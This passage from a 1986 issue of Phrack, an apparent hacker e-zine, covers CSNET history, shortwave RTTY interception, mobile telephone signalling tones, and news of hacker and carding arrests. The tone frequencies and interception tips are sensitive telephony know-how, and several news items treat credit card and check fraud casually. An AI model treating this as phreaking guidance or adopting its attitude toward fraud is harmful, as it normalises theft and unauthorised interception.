In 1981, Bolt, Beranek, and Newman (BBN) contracted to provide technical and user services and to operate the CSNET Coordination and Information Center. In 1983, general management of CSNET was assumed by UCAR [the Univ. Corporation for Atmospheric Research], with a subcontract to BBN. Since then, CSNET has grown rapidly and is currently an independent, financially stable, and professionally managed service to the computer research community. However, the momentum created by CSNET's initial success caused the broad community support it now enjoys. More than 165 university, industrial, and government computer research groups now belong to CSNET.

A number of lessons may be learned from the CSNET experience. 1) The network is now financially self‑sufficient, showing that a research is willing to pay for the benefits of a networking service. (Users pay usage charges plus membership fees ranging from $2000 for small computer science departments to $30,000 for the larger industrial members.)

2) While considerable benefits are available to researchers from simple electronic mail and mailing list services ‑‑ the Phonenet service ‑‑ most researchers want the much higher level of performance and service provided by the ARPANET.

3) Providing a customer support and information service is crucial to the success of a network, even (or perhaps especially) when the users are themselves sophisticated computer science professionals. Lessons from the CSNET experience will provide valuable input to the design, implementation, provision of user services, and operation and management of NSFnet, and, in particular, to the development of the appropriate funding model for NSFnet. CSNET, with support from the NSFnet program, is now developing the CYPRESS project which is examining ways in which the level of CSNET service may be improved, at low cost, to research departments. CYPRESS will use the DARPA protocol suite and provide ARPANET‑like service on low‑speed 9600‑bit‑persecond leased line telephone links. The network will use a nearest neighbor topology, modeled on BITNET, while providing a higher level of service to users and a higher level of interoperability with the ARPANET. The CYPRESS project is designed to replace or supplement CSNET use of the X.25 public networks, which has proved excessively expensive. This approach may also be used to provide a low‑cost connection to NSFnet for smaller campuses.

/

\

/ luggo !!

Please give full credit for references to the following:

Dennis M. Jennings, Lawrence H. Landweber, Ira H. Fuchs, David J. Faber, and W. Richards Adrion.

Any questions, comments or Sluggestions can be emailed to me at Metal Shop, or sent via snailmail to the following address until 12‑31‑1986:

J. Sluggo

P.O. Box 93

East Grand Forks, MN 56721

Radio Hacking

==Phrack Inc.==

Volume One, Issue Five, Phile #8 of 12

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Short‑Wave Radio Hacking ‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by

The Seker

Every day, tons of information is exchanged over the air waves. I have found news agencies, military computers, businesses, and even hacks. The standard method of exchange is called RTTY (Radio Teletype). It usually is used at 66/7 words per min. Instead of using ASCII, Baudot, a 5 bit character set is more widely used. There are many variations of it in use also.

There are many other types of transmission standards besides RTTY that are commonly used. A few of the known:

FAX (Facsimile)

Helshcrieber‑ it's used to transmit pictogram‑type alphabets (i.e. Chinese, Jap, etc.) instead of the American letters.

SSTV‑ is similiar to Viewdata. Used for transmitting high‑resolution pictures mixed with text.

To start, you'll need to buy (card) a receiver (with a coverage of no less than 500 kHz‑30 MHz and a resolution greater than 100 Hz) and a high quality antenna. These can usually be found at electronics stores. You will also need to get an interface and some RTTY software for your particuliar computer. Look in magazines like 'Amatuer Radio' or 'Ham Radio Today' for more information on that shit. Another good place to check is a CB store.

NEWS AGENCIES‑

From these you can find all sorts of crap. You may even intercept a story being sent to the presses. They tend to operate at 66/7 words a minute (50 baud). A few of the more common 'fixed' bands they transmit over are:

at kHz:

3155‑3400 3950‑4063

9040‑9500 12050‑12330

13800‑14000 15600‑16360

19800‑19990 25210‑25550

An easy way to tell if you have located a news agency is by some lame transmission being continuosly repeated.

i.e. 'RYRYRYRYRYRYRYRYRYRYRY' etc.

This is done so they can keep their channels opened for reception.

CONFERENCES‑

Another thing I found interesting was the channels that the amatuers congregated around. I frequently ran into people from foreign countries that couldn't even speak English. I even ran into other hackers from all over! A few of the more popular spots that amatuers hang out are:

at kHz:

3590 14090 21090 28090

at MHz:

432.600 433.300

at VHF/UHF:

144.600 145.300

PACKET RADIO‑

A new development in radio transmission is the packet radio. From what I've seen, it's just like digital packet switching networks, i.e. Compuserve, Telenet, Tymnet, etc.; except slower.

In fact, Compuserve has been researching a way to transmit its services cheaply.

‑‑tS

This has been written exclusively for

‑‑‑Metal Shop Private‑‑

Mobile Telephone Communications

==Phrack Inc.==

Volume One, Issue Five, Phile #9 of 12

Mobile Telephone Communications

By Phantom Phreaker

Presented by The Alliance

(618)667‑3825

Mobile telephone communications is not the same thing as Cellular. Mobile telephone service is not as advanced as Cellular, and not as efficient. Mobile telephone service limits the number of customers sharply, while Cellular is designed to solve the problems of Mobile telephone service.

The signals for Mobile communications are sent by high‑power transmitters and antennas that provide an area of approx. 20‑30 miles with service.

A base unit of a Mobile communications system transmits and receives on different frequencies at the same time. Typical power for the radio base station transmitter is 200‑250 watts.

Mobile telephone facilities tie in with the normal fixed‑position telephone system, however base units can be owned by a Radio Common Carrier (RCC). RCCs running mobile telephone systems are charged by the telephone company for use of the normal phone system.

DIAGRAM:

‑‑‑‑‑‑‑‑

^‑Base antenna Mobile unit

|

|‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

| ^Signal^ | (Car) |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

^‑‑‑‑‑‑‑<‑20‑30 Miles‑>‑‑‑|

^ From

/===========\ mobile

|Receiver/ | | antenna |Transmitter| =============

/===========\ Receiver/ | |‑|

|Control | |Transmitter|‑|*|

|Terminal | ============= |‑|

\===========/

| Handset

| <‑Telephone

| <‑Land line

|

=======

| C.O.| | C.O.|‑‑‑[‑*‑]

=======

|

| Fixed

========= Phone

|Switch |‑‑‑‑‑‑‑‑‑‑‑‑‑‑|Switch | |Network| Transmission |Network|

========= Link =========

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

(Above diagram from 'Understanding Telephone Electronics' chapter 10.)

As you can see from the above diagram, calls placed from the Fixed position telephone are routed through a Central Office as normal, through a Switch Network, to another Switch network, and to another CO. From the second CO (nearest to the Mobile unit), the signals are sent on a telephone line to the control terminal, to the receiver, then to the base unit (antenna). From the base unit, the radio signals are sent to the site of the mobile telephone. Calls from the mobile telephone operate in the same manner. An idle radio channel is selected (like seizure of a trunk for a LD call) and the signals are sent over the mobile network.

If no channel is available for use, then a busy indication is triggered (similar to a re‑order). If a channel is available, the customer will be prompted with a dial tone, similar to normal fixed‑position telephone service. The area that this would work in is called the subscriber's home area. When a mobile telephone service subscriber leaves the service area, he is then referred to as a Roamer. Since the mobile unit is out of the service area, special preparations have to be made to continue communications to/from that mobile unit.

SIGNALLING

‑‑‑‑‑‑‑‑‑‑

Mobile signalling tones are selected (like touch tones) to avoid possible reproduction of the signalling tone on the voice link, to cause a signalling mistake. The IMTS (Improved Mobile Telephone Service) uses in band signalling of tones from 1300Hz‑2200Hz. Another method of signalling is the MTS (Mobile Telephone System). MTS is older than IMTS, and MTS uses in band signalling of tones from 600Hz‑1500Hz, and some use 2805 Hz in manual operation.

CALL COMPLETION

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this instance, let's say a call is being placed from a normal telephone to a Mobile unit. First off, the base station selects one idle channel and places a 2000Hz idle tone on it. All on hook Mobile units active in that service area find and lock onto the channel that carries the 2000Hz idle tone. Now each Mobile unit listens for it's specific number on that channel. When an idle channel becomes busy, a new channel is selected for use, and the process is repeated.

Now the caller's call is sent through the telephone network the same way as a normal telephone call. When this call reaches the control terminal, the terminal seizes the already marked idle channel (with every on‑hook mobile unit listening to it) and applies a 1800Hz seize tone. This tone keeps other mobile units from using it to complete other calls. The called number is outpulsed over the base station transmitter at ten pulses per second, with idle tone represented as a mark, and a seize‑tone represented as a space. Since every idle mobile unit is waiting on that channel, they compare the number being outpulsed with their own number. If the first digit of the called mobile unit is three, and a specific mobile unit 'listening' on the channel has a first digit of four, it stops listening to that channel, and moves to the next channel with 2000Hz applied.

When the mobile unit receives the correct destination number, all other mobile units are no longer listening on that particular channel. When the 7 digit number is received, the mobile supervisory unit turns on the mobile transmitter and sends an acknowledgement signal (2150Hz guard tone) back to the control terminal. If this signal isn't received in three seconds after outpulsing, the seize tone is removed from that channel, and the call is dropped. If the signal is received at the control terminal, then the mobile phone will ring (standard two seconds on, four seconds off). If the mobile unit being called doesn't answer in forty five seconds, the call is also dropped. When the person answers the mobile phone and takes it off hook, the mobile supervisory unit sends a connect tone of 1633Hz, for an answer signal. When this is received by the control terminal, the ringing stops, and a voice path between the two phones is established. When the mobile subscriber hangs up, a disconnect signal is sent which consists of alternating disconnect/guard tone (1336Hz and 2150Hz respectively) signals. Then the mobile unit begins searching for another idle channel, and readies itself for more calls.

For an outgoing call placed by the Mobile subscriber, the mobile unit must already be locked on the idle channel. If the unit is not, a warning light will flash advising the user of the problem. This is similar to a re‑order signal. If the unit is already on an idle channel, the calling number will be sent to the control terminal for billing purposes.

CELLULAR TELEPHONES

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To improve over the problems of mobile telephone service such as low amount of users, high price, etc. AT&T invented the Cellular Concept, or the AMPS (Advanced Mobile Phone System). This is the cellular phone concept that is used in major cities. Los Angeles, Ca. currently has the largest cellular communication system in the world.

Calls sent to cellular telephones are sent through the MTSO (Mobile Telecommunications Switching Office). The MTSO handles all calls to and from cellular telephones, and handles billing.

All incoming calls from the MTSO are sent to a Cell site in each cell, to the actual cellular telephone. The major difference between mobile and cellular is that cellular can use the same channel many more times than a mobile telephone system can, providing more customers and making the service less expensive. Once a vehicle goes out of range of one cell site, the signal is transferred immediately, with no signal loss, to another cell site, where the call is continued without interruption. This is called a Cellular hand‑off. Cellular communications areas are divided up into several cells, like a honeycomb.

DIAGRAM

‑‑‑‑‑‑‑

/‑

/

==== |Cell ||Cell ||Cell |

|CO| | Site|| Site|| Site |

==== /‑‑‑\\

| / * \\‑

| |Cell | /‑‑‑\ /‑‑‑\

| | Site|/ * \/ * \

| \ /|Cell ||Cell |

====== \‑‑‑/ | Site|| Site |

|MTSO| \ /\ /

====== \

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

More cell sites are used for the area they are needed for. The signals are sent from the MTSO to the each cell site. So if you were travelling in the cell site to the far left, the signal from the MTSO would be sent to that cell. As you move, the signal is moved.

Here is a quote from AT&T's Cellular Telephones pamphlet.

'AT&T cellular phone transmission sounds as good as your home and office phone. Basically it's a simple concept. Each metropolitan area is divided into sectors which form a honeycomb of cells. Each cell incorporates its own transmitter and receiver which connects to the local phone network. As you drive from cell to cell, sophisticated electronic equipment transfers or 'hands off' the call to another cell site. This automatic sequence maintains service quality throughout the conversation without interruption.'

I hope this file has been of some assistance to anyone who is curious about the more technical aspects of the telephone system.

References

‑‑‑‑‑‑‑‑‑‑

Understanding Telephone Electronics‑by Texas Instruments 1983

TELE Magazine issues three and four

AT&T Mobile communications pamphlet

AT&T Cellular concept pamphlet

‑End of file‑

4/14/86

Phrack World News Issue 4 Part 1

==Phrack Inc.==

Volume One, Issue Five, Phile #10 of 12

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 4 Part 1 ///_ _ _______

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN IV \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

Phrack Inc. Vs. Master Lock Company April 1, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ok, yeah the date says April 1st, but this NOT a joke. The following is a letter from Chadbourne & Parke. I am substituting "Taran King" for Taran's real name.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

March 26, 1986

Dear Mr. King,

This law firm is counsel to Master Lock Company. Our client has recently been alerted to the dissemination through a Bulletin Board Computer Service located at your address of information potentially damaging to its commercial interests and business relationships. More particularly, we refer to the publication by such computer service of instructions for picking combination locks manufactured by Master Lock Company.

We write to notify you of Master Lock Company's concern about the computer service's actions and the seriousness with which it regards those actions. Master Lock Company has every intention of preserving and protecting the reputation and goodwill associated with its products and, if necessary, will take every legal recourse available to it to do so.

Under the present circumstances, however, our client would first like to give you the opportunity to take measures to prevent activities that it can only view as malicious both toward itself and toward its customers. We therefore request that you see to the immediate and permanent cessation of the actions described above. Your compliance with this request is all that is required for an amicable resolution of this matter.

Your cooperation will be much appreciated.

Very truly yours,

Terrence J. Farrell

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This letter is of course talking about phile #6 of Phrack Issue I, entitled, "How To Pick Master Locks". It was kinda funny but they even had a misspelled word in their letter, that I corrected above. They sent it to Taran King in certified mail, in which he had to sign for it. Taran has since responded with the following letter:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dear Sirs, 4/1/86

My name is Taran King, as you so easily researched, and I used to run Metal Shop, an electronic bulletin board system. I currently run a private line for personal friends of mine, and if asked, I distribute "general files" for them. The fact that I distributed the file is hardly the point. I merely obtained it from the authors of the file and distributed it to other sources, who apparently distributed it other places. If I am responsible for this file, I believe you should find a number of other authors also.

It is not only this file that you have written me about that the information about the "secret" to picking Master locks is included in, but also a number of other files that have been circulating for years. It is old information, someone just re‑published it. Although on this topic, I am not well informed, I believe it is legal to print information on such a topic. We do not condone the actions promoted by the files, but merely inform the public on the topic of this. I hate to run on, but I wish to make my point as clearly as possible.

If I, being one of the people it was passed through, am responsible for the crime rate today of people picking Master, American, or any other company's locks, then I believe anyone who has the file, or has read books should be arrested on this. I believe Paladin Press publishes a number of books on this topic. I have seen one of the "Picking Master Locks in 3‑Easy Steps!" type books and as far as I know, it's still in publication and distribution. I hope I'm not sounding disrespectful or condescending, but it annoys me to a great degree when I must be questioned by my father about a letter that has come in the mail from a law firm in New York. Please expect a letter from him inquiring upon the topic that you have written me on. If you wish to have further discussion, feel free to call me at my voice line whenever you want to at (314) XXX‑XXXX. Don't play funny like you did with the letter and reverse the charges or something entertaining like that please.

Sincerely,

Taran King

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If any of you are wondering as to how they found Taran, well CN/A is not exclusively for phone phreaks and the number to Metal Shop was published in Phrack I in most of the files. My theory about how they found this file is:

A. Some agent type is looking around (hell we all know they are out there), he sees the file and passes it on to Master Lock Company;

B. Some rodent dork type whose dad works for Master Lock Company sees it and says, "Hey Dad, look, this is really neat!"

I guess it really doesn't matter... Knight Lightning

________________________________________

Lex Luthor Speaks About TWCB Sunday March 22, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is a message from Lex Luthor regarding TWCB Inc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It has been brought to my attention that TWCB Inc. is "throwing around large amounts of BS involving me". I have NEVER spoken to them, not on a conference, bbs, or anything.

They have no affiliation with The Legion of Doom phreak group, nor The Legion Of Hackers hack group. Any references they make regarding me or any member of LOD or LOH should be disregarded since it's probably bullshit.

TUC is working on Project Educate but there are no dates as of yet when an issue will be released. He scrapped the old first issue and is working on a better quality newsletter. I don't really have anything to do with Project Educate except that I may contribute some material.

I just thought I would clear this up and if anyone hears anything different, please send me email with the information.

One other thing that is on my mind is how some phreaks/hacks put down 2600 Magazine as not being that great, not providing enough technical info, or providing too technical, etc. Well compared to the other rags out there, 2600 does a pretty damn good job and are very consistent, you never have to worry about getting ripped off by them, and they are trustworthy. I don't agree with some of the ways they do things, but overall they are pretty good.

I just wanted to get a few things off my chest.

Lex

________________________________________

TRASk, Animator, Ogre Ogre busted 408 Under Siege

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This all happened towards the end of the week after the Phoenix Phortress Sting Operation.

TRASk the sysop of Shattered World Elite, carded an IBM PC. The person whose house it was to be delivered, happened to be at home when it arrived. The owners promptly called the police who then set up a stake out and waited for an unsuspecting TRASk to waltz over and pick it up. TRASk did and of course was caught red handed.

Walking up to the house but staying on the street was the Animator. He didn't like the looks of the situation and didn't stop walking. He went to the home of BelGarion and Ogre Ogre (brothers). Unknown to him he had been followed over. Since he had cut school that day he stayed over there until 4PM. BelGarion and Ogre Ogre went to Animator's house and took all his computer equipment and illegally carded shit. They hid it all in their house. Minutes after Animator left BelGarion's home, he was picked up by the police. He was then taken to Juvenile Detention where he found TRASk.

Meanwhile the police went to TRASk's house first and took all his shit including the bbs, then over to Animator's. When they got to Animator's house and couldn't find anything, his little brother told them that BelGarion and Ogre Ogre took everything. They then went to BelGarion's house where they found not only Animator's carded material but BelGarion's and Ogre Ogre's as well.

The four of them spent the weekend together in Juvenile Detention.

The charges included:

o Fraudulent use of a credit card

o Grand theft

o Possession of stolen property

The merchandise found at BelGarion's was in excess of $3,000.

Being that BelGarion is 18 years old, Ogre Ogre, his younger brother, took full responsibility for the crimes. As a result the charges against BelGarion were dropped.

The court case is expected to take place in mid‑April 1986.

The interesting part about this story is that TRASk and the others were members of the Nihilist Order. This group had most of its members busted or under surveillance already due to the Phoenix Phortress Sting Operation in Fremont, California. Is there a connection?

BelGarion says no, and that the Nihilist Order was really a loosely connected bunch. It was however started by TRASk and The Highwayman.

TRASk was released with a $100 fine and probation and 100 hours of community (civil) service work. His bbs, The Shattered World Elite, will be going back up sometime in the future.

For information about the Phoenix Phortress Sting Operation see Phrack World News Issue III.

Information provided by BelGarion 408 in an interview with Knight Lightning

________________________________________

Robin Hood and The Sultan Busted 408 Under Siege

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This event took place around the last week of March in California, the 408 area.

Robin Hood had sprained his ankle at a wrestling meet and as a result was laid up at home for several days. On one such day, he awoke at 1:30 PM in the afternoon to hear people outside his house, trying to force his doors opened. Hobbling around on his crutches, he made it to the kitchen where he ran into three police officers, two special investigators, and one guy from PacBell Security.

His first cry was, "You had better have a warrant!" Sure enough they did. He noticed MCI codes and dialups written on it as well as passwords to TRW. (Editor's Note: Obviously what they were looking for.) They went to his room and went through his computer disks (one of which was labeled phreaking and hacking, they jumped for that one), printouts, notebooks, and anything else they could find. They took everything including his modem, printer, phone, and computer.

Among what was confiscated were printouts of Phrack Issues I‑III, Hack Newsletter (all issues to date), tons of other G‑philes, and Lex Luthor's Hacking Cosmos series. Also taken were all of his board numbers he was on and all his passwords. Luckily for Metal Shop PRIVATE, he had not yet received the new general password. Boards that should be wary include the Alliance and P‑80.

His charges include:

o Annoying Calls (Scanning Prefixes)

o Defrauding the phone company

o Illegal entry (Hacking)

o Scanning MCI dialups (I don't know what the legal name for that would be)

His and Sultan's court case comes up on April 18th 1986 1:00 PM.

As for the Sultan, upon being busted, Robin Hood tried to get in touch with him at school, not knowing that the group that had paid him a visit had come from the Sultan's earlier around 11:30 AM. When he finally did reach him around 4:00 PM after school at swim practice, it was much too late. Sultan's dad supposedly held a government related job. (I have no idea if it was a political one or not).

The police had grabbed everything Sultan had as well, including his phone. Since his bust he has had his phone line disconnected.

Robin Hood said that he was told that he had been under surveillance for 2‑3 months previous to his arrest.

He also recalled that the police had a third warrant for someone in a different town. He did not recognize the name, nor did he hear anything about it later.

(Editor's Note: Their accounts on Metal Shop PRIVATE were removed long ago, so MSP users don't be worried.)

Information provided by Robin Hood during an interview with Knight Lightning

________________________________________

TWCB: Peter Arrested Again TAP Trouble

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In the last week of March, while on spring break, Peter of TWCB Inc. was arrested (or maybe just picked up) for leaving his home while under a court order to stay confined there under his mother's reconnaissance.

He was picked up by the same detective that busted TWCB Inc. in the first place. Evidently he had been staking out their condominium for some time.

Not only does this add to their LARGE record and current charges, but it will be used to show the court that TWCB's mom has no control over them. This will hurt their defense.

Many questions have arisen about the upcoming court case against TWCB. Most notably, how will they be able to publish TAP Magazine with such a record and constant surveillance? Since their bust was basically non‑phreak/hack related maybe there is no real reason to fear any problems arising of information trading for a lighter sentence if (when) found guilty.

However, their bust also concerned fraudulent use of a credit card. What if that were to be tied in to phreak/hack bulletin boards?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Since the topic of TWCB has already been brought up, I'd like to mention some of the other things that have been going on concerning them.

Fights breaking out between them and Sigmund Fraud have cleared up. This does not necessarily mean that they will not resume. Fights with Slave Driver that led to their being kicked off of Stronghold East Elite, have also cleared up. Not wanting to have a reputation for kicking people off SEE for personal reasons, Slave Driver has allowed TWCB to return. It is not yet known if they have done so as of yet.

On the other hand, with their co‑sysop access, TWCB kicked Broadway Hacker off of Spectre III (Which is sysoped by The Overlord of 815). He in turn kicked them off of the Radio Station BBS. Hostilities raged between the two, but Broadway Hacker publicly apologized on Metal Shop (and I suppose on several other bbses as well) to TWCB, and asked them to remove their vulgar posts about him. TWCB made no comment.

Broadway Hacker did kick TWCB off The Radio Station. Later he welcomed them back on, but now with their refusal to call, his invitation no longer exists.

________________________________________

SBS Acquisition Completed March 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On February 28, MCI completed its acquisition of Satellite Business Systems from IBM in exchange for approximately 47 million shares of MCI Common stock, of 16.7 percent of the 282 million shares now outstanding. The Federal Communications Commission (FCC) approved the transfer to MCI of authorizations held by SBS on February 14. The transaction was announced as an agreement in principle on June 25, 1985.

The majority of SBS employees have joined MCI, bringing MCI's employment to 14,800.

Initially, for SBS's 200,000 customers, the acquisition brings no change in service or rates. Eventually, the SBS system will be combined with MCI's more extensive domestic and international network.

Taken from MCI World, March 1986

________________________________________

Phrack World News Issue 4 Part 2

==Phrack Inc.==

Volume One, Issue Five, Phile #11 of 12

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 4 Part 2 ///_ _ _______

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN IV \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

More Computel Sunday March 29, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑

The following post was seen on Stronghold East Elite on the above date, concerning Computel. I am reprinting it in Phrack for the sole purpose to spread this important news and to help 2600 Magazine get to the bottom of this mess, and to help everyone get their money back.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

People,

PLEASE tell us whatever you know about Computel, even if it doesn't seem important. We are charging full speed ahead with our investigation and we've already uncovered some wild things but we can't reveal what we have until we're finished. We also need info on that old magazine called Tel from the 70's.

Yes, we did determine that there was a connection between the two but that's all we can say right now. Any info or even back copies would help. We need people to actually complain about losing money. So far that's been the hardest thing to do. Phone phreaks as a rule don't seem to want to put their name on anything, but if you've lost money, this is the only way we can get it back for you and at the same time, stop this operation.

We need people who live near or in Van Nuys, California. We need those of you with special access to credit information or phone information to get in touch with us. PLEASE DON'T DELAY! Send us E‑mail or call (516) 751‑2600.

Information posted by 2600 Magazine

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor's Note: Thomas Covenant added that he had heard that Computel is unregistered and plans on staying that way. Thus the Better Business Bureau can do nothing.

________________________________________

Dr. Who in Trouble Tuesday March 31, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is Lex Luthor's interpretation and information on the Dr. Who story. He also discusses Twilight Zone and Catch 22. It was posted in several places (most notably Stronghold East Elite) and was confirmed in interview with Lex Luthor by Knight Lightning on April 4, 1986.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Twilight Zone will be back up in 1‑2 weeks. Those who Marauder wants on will be contacted with all the new logon info, along with a number to reach it at. He has been doing some mods to the software so the board has been down. Silver Spy, Sysop of Catch‑22 has had some phone problems and as soon as the phone company fixes it he will have it back up. Both boards did go down for a few days after the Doctor Who bust, but after we found out why he was busted, the boards went back up.

The Secret Service came to Who's house and took everything, he was not home at the time, but after 1‑2 days, they finally got around to questioning him. As you know, the Secret Service has been doing a lot of credit card investigations. Initially Pit Fiend of CA was busted for carding (Editor's Note: See last issue's quick notes as to Pit Fiend) and at the time he was speaking w/Who from time to time, thus some believe Who's bust was a result of P.F. leaking info to the S.S.

LOD/H was not shaken up too much from Who's bust mainly because it was not Phreak/Hack related, merely credit related which LOD/H is not involved in. Who did not card anything, but we believe the S.S.'s motive for busting him was use of TRW. Incidentally, Who had a DNR on his line for 7 months some say it was for over a year, but either way, its a hell of a long time! That's about it, anyone need specific details, or heard anything otherwise let me know.

Lex

Information provided by Lex Luthor

(Editor's Note: Lex Luthor also mentioned that Dr. Who is being sued by AllNet)

________________________________________

2300 Club Members Busted Cleveland

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Two have been caught for fraudulent use of a credit card and one has been arrested for car theft.

The 2300 Club is now being compared and treated as a miniature mafia by local authorities. This is mainly for other crimes including the blowing up of cars. King Blotto was, at one time at least, a member of this group. There is absolutely NO information regarding King Blotto as being busted or as still being a member of the 2300 Club.

________________________________________

New Phreak/Hack Group April, 6 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Dark Creaper (916), Brew Associates (215), Major Havoc (301), and one other whose handle is unknown to me at the current time are forming a new phreak/hack group. Its name is "The IBM Syndicate". They are currently looking for members to join. Their bulletin boards, which are currently more or less public, will very soon be going private, thus making it harder to become a member. Eventually the group will have 2 bbses and 2 AEs. Mainly for the exchange of files and IBM kracked wares. All of these bbses will be run on of course IBM, and I assume that having an IBM is a requirement to become a member.

Information provided by Dark Creaper through interview by Knight Lightning

________________________________________

Oryan Quest Busted/415 Gets Hit Again April 6, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On Wednesday, April 2nd 1986, Oryan Quest was arrested on charges of computer invasion. Technically they only had him on one charge but later evidence accounted for the other two.

Oryan Quest was "busted" for hacking AT&T Mail, which is roughly similar to MCI Mail. He had three different accounts, but the San Mateo Police and FBI only had suspicion of one. When they searched his home they found two more written down.

The charges against Oryan Quest were dropped for several reasons:

1. Illegal Search (they didn't have a warrant)

2. Police Brutality and Harassment (pushed him around and slammed his head into a car)

The authorities searched his house while Oryan Quest was at school, which is where they later arrested him.

What was taken includes the following:

Loads of computer disks

All printouts (his entire g‑phile library)

10 Meg drive

Assorted Boxes (Blue, Red, Green, Silver)

His passwords, bbs numbers, codes, etc were undiscovered. (He believes)

No court date had been set as of yet, and it is believed that the prosecuting attorney will drop the case due to the earlier illegal proceedings by the SMPD.

Prior to his arrest the SMPD had been monitoring his line and had found that he was scanning prefixes. This is however is inadmissible in a court of law because at the time that they were monitoring his line there was not sufficient evidence for such action.

AT&T Mail was accessible through an 800 number, which Oryan Quest did call direct.

Some words from Oryan

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"I have no intention of quitting hacking."

"My mistake was calling an 800 number direct and for fucking around with AT&T in the first place."

"I am more of a hacker than a phreak."

(Editor's note: When asked how he felt about what was happening he replied, "I'm not worried about it.")

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some other interesting facts about Oryan was that he held a part time job as a PacTel Operator. He, being 15 years old, had lied about his age (saying he was 16), but now has been fired.

Also SRI has given him a job offer for computer security. He is thinking about it but doesn't plan on accepting it.

Information provided by Oryan Quest through interview by Knight Lightning

________________________________________

Overlord 815 Arrested For Check Fraud

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"The only reason I got caught was greed."

That was the Overlord (815)'s first statement to me during an interview on April 6, 1986. He says that originally, a long time ago, he concentrated on Western Union, but then later turned to credit card fraud. As he progressed, he learned that credit card fraud only worked about 5% of the time. He wanted something that worked 100% of the time. He found it...check fraud.

In his home town he acquired around $4,000 worth of equipment from 3 stores. Some of the merchandise consisted of an Apple //e (with every card possible,

the best drives, monitors, etc...), a complete Commodore 128 system, and ten packs of disks for good measure. His downfall was going back to one of the same stores the next day to try it again.

He was instantly caught and tricked by the police to reveal more than he would have if he had really known his rights.

Check fraud is a felony crime. Although I myself am uninformed as to how to perform the art of check fraud, it must require a phone because Overlord (815) informs me that the police have labeled his crime as Telefelony. The actual charge however is for "theft by deception".

His home was not searched and he has given all the merchandise back.

He had told me that he plans to stop running his bulletin board Spectre III and sell his computer. This is mainly so he cannot be referred to as a computer hacker. IE: The prosecuting lawyer would ask, "Do you have a computer?!" He can truthfully say NO.

He plans to have the bbs run from the home of The Master (815) and the number would stay the same.

